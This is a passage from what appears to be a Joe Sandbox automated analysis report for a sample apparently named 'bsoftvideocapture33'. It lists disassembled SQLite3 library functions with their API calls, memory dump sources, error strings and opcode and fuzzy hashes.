                                                                                          • sqlite3_value_blob.SQLITE3 ref: 6091A7D0
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A7E3
                                                                                          • sqlite3_value_int.SQLITE3 ref: 6091A842
                                                                                          • sqlite3_result_text.SQLITE3 ref: 6091A973
                                                                                          • sqlite3_result_blob.SQLITE3 ref: 6091AA08
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_value_int$sqlite3_result_blobsqlite3_result_textsqlite3_value_blobsqlite3_value_bytessqlite3_value_text
                                                                                          • String ID:
                                                                                          • API String ID: 1854132711-0
                                                                                          • Opcode ID: 784825b838f169ca3662fcccfed6716ebcc1b6a8caffef0423c1b1d1c55abeb3
                                                                                          • Instruction ID: 5a39f3de11663d91415d6d961256fd3a5a8574b0eada45011bd6777fd74d0884
                                                                                          • Opcode Fuzzy Hash: 784825b838f169ca3662fcccfed6716ebcc1b6a8caffef0423c1b1d1c55abeb3
                                                                                          • Instruction Fuzzy Hash: 6CA15C71E0862D8BDB05CFA9C88069DB7B2BF69324F148299E865A7391D734DC86CF50
                                                                                          APIs
                                                                                          • sqlite3_blob_reopen.SQLITE3 ref: 60963510
                                                                                            • Part of subcall function 60962F28: sqlite3_log.SQLITE3 ref: 60962F5D
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 60963534
                                                                                          • sqlite3_blob_open.SQLITE3 ref: 6096358B
                                                                                          • sqlite3_blob_bytes.SQLITE3 ref: 609635A3
                                                                                          • sqlite3_malloc.SQLITE3 ref: 609635BB
                                                                                          • sqlite3_blob_read.SQLITE3 ref: 60963602
                                                                                          • sqlite3_free.SQLITE3 ref: 60963621
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_blob_bytessqlite3_blob_opensqlite3_blob_readsqlite3_blob_reopensqlite3_freesqlite3_logsqlite3_mallocsqlite3_mprintf
                                                                                          • String ID:
                                                                                          • API String ID: 4276469440-0
                                                                                          • Opcode ID: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
                                                                                          • Instruction ID: 177081cd506585250240414a33056f89eeda992db91a315aff795e5fc91eaf1e
                                                                                          • Opcode Fuzzy Hash: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
                                                                                          • Instruction Fuzzy Hash: C641E5B09087059FDB40DF29C48179EBBE6AF98354F01C87AE898DB354E734D841DB92
                                                                                          APIs
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A240
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A24E
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A25A
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A27C
                                                                                          Strings
                                                                                          • ESCAPE expression must be a single character, xrefs: 6091A293
                                                                                          • LIKE or GLOB pattern too complex, xrefs: 6091A267
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_value_text$sqlite3_value_bytes
                                                                                          • String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
                                                                                          • API String ID: 4080917175-264706735
                                                                                          • Opcode ID: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
                                                                                          • Instruction ID: 7e7232241edcba55bc41816b79a09feadaac9d75cc2fb544db44a2248cbef301
                                                                                          • Opcode Fuzzy Hash: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
                                                                                          • Instruction Fuzzy Hash: A4214C74A182198BCB00DF79C88165EBBF6FF64354B108AA9E864DB344E734DCC6CB95
                                                                                          APIs
                                                                                            • Part of subcall function 6092506E: sqlite3_log.SQLITE3 ref: 609250AB
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 609250E7
                                                                                          • sqlite3_value_text16.SQLITE3 ref: 60925100
                                                                                          • sqlite3_value_text16.SQLITE3 ref: 6092512C
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6092513E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_value_text16$sqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
                                                                                          • String ID: library routine called out of sequence$out of memory
                                                                                          • API String ID: 2019783549-3029887290
                                                                                          • Opcode ID: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
                                                                                          • Instruction ID: f6310061860eb79c45c0a7b6efb00bde58ba827c5a391e7df96a4cb3fbc4cfa9
                                                                                          • Opcode Fuzzy Hash: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
                                                                                          • Instruction Fuzzy Hash: 81014C70A083049BDB14AF69C9C170EBBE6BF64248F0488A9EC958F30EE775D8818B51
                                                                                          APIs
                                                                                          • sqlite3_finalize.SQLITE3 ref: 609406E3
                                                                                            • Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940672
                                                                                            • Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940696
                                                                                          • sqlite3_free.SQLITE3 ref: 609406F7
                                                                                          • sqlite3_free.SQLITE3 ref: 60940705
                                                                                          • sqlite3_free.SQLITE3 ref: 60940713
                                                                                          • sqlite3_free.SQLITE3 ref: 6094071E
                                                                                          • sqlite3_free.SQLITE3 ref: 60940729
                                                                                          • sqlite3_free.SQLITE3 ref: 6094073C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_log$sqlite3_finalize
                                                                                          • String ID:
                                                                                          • API String ID: 1159759059-0
                                                                                          • Opcode ID: 19269ae46022e444f8470c890b78f38089a522c4155da373e534dfec766a18bc
                                                                                          • Instruction ID: 8ceab58ab7f3fb7faec85fb80e78016d1f3d655de586deaf1cb04ee1bc4e3406
                                                                                          • Opcode Fuzzy Hash: 19269ae46022e444f8470c890b78f38089a522c4155da373e534dfec766a18bc
                                                                                          • Instruction Fuzzy Hash: C801E8B45447108BDB00AF78C4C5A59BBE5EF79B18F06096DECCA8B305D734D8809B91
                                                                                          APIs
                                                                                          • sqlite3_free.SQLITE3(?), ref: 609476DD
                                                                                            • Part of subcall function 60904423: sqlite3_mutex_leave.SQLITE3(6090449D,?,?,?,60908270), ref: 60904446
                                                                                          • sqlite3_log.SQLITE3 ref: 609498F5
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_logsqlite3_mutex_leave
                                                                                          • String ID: List of tree roots: $d$|
                                                                                          • API String ID: 3709608969-1164703836
                                                                                          • Opcode ID: 316fa83f4dc1e403b3b617744d66ff6f9af545e53e2752a9ff9486d467efffaf
                                                                                          • Instruction ID: c91562837ba2d96ae21b52ab8334c840e7cbe23d8154f1acff92b465618a0bd4
                                                                                          • Opcode Fuzzy Hash: 316fa83f4dc1e403b3b617744d66ff6f9af545e53e2752a9ff9486d467efffaf
                                                                                          • Instruction Fuzzy Hash: 3FE10570A043698BDB22CF18C88179DFBBABF65304F1185D9E858AB251D775DE81CF81
                                                                                          APIs
                                                                                            • Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
                                                                                            • Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
                                                                                            • Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
                                                                                            • Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 609600BA
                                                                                          • sqlite3_column_text.SQLITE3 ref: 609600EF
                                                                                          • sqlite3_free.SQLITE3 ref: 6096029A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_column_int64sqlite3_column_textsqlite3_freesqlite3_resetsqlite3_result_error_codesqlite3_step
                                                                                          • String ID: e
                                                                                          • API String ID: 786425071-4024072794
                                                                                          • Opcode ID: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
                                                                                          • Instruction ID: e80500568aa73e744b5c90812a7938b6c4ac38b40afb48beb036dafaf3e7d002
                                                                                          • Opcode Fuzzy Hash: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
                                                                                          • Instruction Fuzzy Hash: 6291E270A18609CFDB04CF99C494B9EBBF2BF98314F108529E869AB354D774E885CF91
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_exec
                                                                                          • String ID: sqlite_master$sqlite_temp_master$|
                                                                                          • API String ID: 2141490097-2247242311
                                                                                          • Opcode ID: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
                                                                                          • Instruction ID: 9143400cfb6dc20a8edc2ca7c04099347fc9d468871a1d2187ae3123f936d49a
                                                                                          • Opcode Fuzzy Hash: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
                                                                                          • Instruction Fuzzy Hash: C551B6B09083289BDB26CF18C885799BBFABF59304F108599E498A7351D775DA84CF41
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$memcmpsqlite3_realloc
                                                                                          • String ID:
                                                                                          • API String ID: 3422960571-0
                                                                                          • Opcode ID: 50eda45380483794e32bdd730fc6b6b580c41d30328003452ec2c22d7d846426
                                                                                          • Instruction ID: 3b390e38dde49c5924589a602beaf2ee173d98914be71c714148da16d267e2cf
                                                                                          • Opcode Fuzzy Hash: 50eda45380483794e32bdd730fc6b6b580c41d30328003452ec2c22d7d846426
                                                                                          • Instruction Fuzzy Hash: 42B1D0B4E142189BEB05CFA9C5807DDBBF6BFA8304F148429E858A7344D374E946CF91
                                                                                          APIs
                                                                                            • Part of subcall function 6090A0D5: sqlite3_free.SQLITE3 ref: 6090A118
                                                                                          • sqlite3_malloc.SQLITE3 ref: 6094B1D1
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6094B24C
                                                                                          • sqlite3_malloc.SQLITE3 ref: 6094B272
                                                                                          • sqlite3_value_blob.SQLITE3 ref: 6094B298
                                                                                          • sqlite3_free.SQLITE3 ref: 6094B2C8
                                                                                            • Part of subcall function 6094A894: sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
                                                                                            • Part of subcall function 6094A894: sqlite3_step.SQLITE3 ref: 6094A8CE
                                                                                            • Part of subcall function 6094A894: sqlite3_column_int64.SQLITE3 ref: 6094A8E9
                                                                                            • Part of subcall function 6094A894: sqlite3_reset.SQLITE3 ref: 6094A90F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_malloc$sqlite3_bind_int64sqlite3_column_int64sqlite3_resetsqlite3_stepsqlite3_value_blobsqlite3_value_bytes
                                                                                          • String ID:
                                                                                          • API String ID: 683514883-0
                                                                                          • Opcode ID: 3036fcfce1ee653ed62d56f61367963e4d2afc4bfe1ca560103df060be3b8356
                                                                                          • Instruction ID: 83940ce9cf0a2bab7a741171fc95cc3a005d2848f59039768723a80715f2adcb
                                                                                          • Opcode Fuzzy Hash: 3036fcfce1ee653ed62d56f61367963e4d2afc4bfe1ca560103df060be3b8356
                                                                                          • Instruction Fuzzy Hash: E19133B1A052099FCB04CFA9D490B9EBBF6FF68314F108569E855AB341DB34ED81CB91
                                                                                          APIs
                                                                                          • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A200
                                                                                          • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A391
                                                                                          • sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A3A3
                                                                                          • sqlite3_free.SQLITE3 ref: 6093A3BA
                                                                                          • sqlite3_free.SQLITE3 ref: 6093A3C2
                                                                                            • Part of subcall function 6093A0C5: sqlite3_mutex_enter.SQLITE3 ref: 6093A114
                                                                                            • Part of subcall function 6093A0C5: sqlite3_mutex_free.SQLITE3 ref: 6093A152
                                                                                            • Part of subcall function 6093A0C5: sqlite3_mutex_leave.SQLITE3 ref: 6093A162
                                                                                            • Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1A4
                                                                                            • Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1C3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_mutex_leave$sqlite3_mutex_free$sqlite3_mutex_enter
                                                                                          • String ID:
                                                                                          • API String ID: 1903298374-0
                                                                                          • Opcode ID: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
                                                                                          • Instruction ID: f6c450fbbadf2e04ab128defb7df19fdb2a161b4e6cf4e71623f80625393026f
                                                                                          • Opcode Fuzzy Hash: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
                                                                                          • Instruction Fuzzy Hash: EB513870A047218BDB58DF69C8C074AB7A6BF65318F05896CECA69B305D735EC41CF91
                                                                                          APIs
                                                                                            • Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8
                                                                                          • sqlite3_mutex_enter.SQLITE3 ref: 6093A114
                                                                                          • sqlite3_mutex_free.SQLITE3 ref: 6093A152
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6093A162
                                                                                          • sqlite3_free.SQLITE3 ref: 6093A1A4
                                                                                          • sqlite3_free.SQLITE3 ref: 6093A1C3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_mutex_entersqlite3_mutex_freesqlite3_mutex_leavesqlite3_mutex_try
                                                                                          • String ID:
                                                                                          • API String ID: 1894464702-0
                                                                                          • Opcode ID: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
                                                                                          • Instruction ID: 8ebadd1dc7ee404a0f141fd21885e91e0aa1156a5a6df10951b92a0b718128ce
                                                                                          • Opcode Fuzzy Hash: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
                                                                                          • Instruction Fuzzy Hash: CF313C70B086118BDB18DF79C8C1A1A7BFBBFB2704F148468E8418B219EB35DC419F91
                                                                                          APIs
                                                                                            • Part of subcall function 60925326: sqlite3_log.SQLITE3 ref: 60925352
                                                                                          • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,609254CC), ref: 6092538E
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 609253C4
                                                                                          • sqlite3_log.SQLITE3 ref: 609253E2
                                                                                          • sqlite3_log.SQLITE3 ref: 60925406
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 60925443
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log$sqlite3_mutex_leave$sqlite3_mutex_enter
                                                                                          • String ID:
                                                                                          • API String ID: 3336957480-0
                                                                                          • Opcode ID: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
                                                                                          • Instruction ID: a100dd02d465b32589d57b5b9efe4db3cd483c3b5de54de748c9b161d5d001e2
                                                                                          • Opcode Fuzzy Hash: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
                                                                                          • Instruction Fuzzy Hash: D3315A70228704DBDB00EF28D49575ABBE6AFA1358F00886DE9948F36DD778C885DB02
                                                                                          APIs
                                                                                          • sqlite3_result_blob.SQLITE3 ref: 609613D0
                                                                                          • sqlite3_column_int.SQLITE3 ref: 6096143A
                                                                                          • sqlite3_data_count.SQLITE3 ref: 60961465
                                                                                          • sqlite3_column_value.SQLITE3 ref: 60961476
                                                                                          • sqlite3_result_value.SQLITE3 ref: 60961482
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_column_intsqlite3_column_valuesqlite3_data_countsqlite3_result_blobsqlite3_result_value
                                                                                          • String ID:
                                                                                          • API String ID: 3091402450-0
                                                                                          • Opcode ID: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
                                                                                          • Instruction ID: 8b12398a3b1f37ca0d2e1a8d549e1f0529ecbd38da511dd0edd3444da8e5cc4d
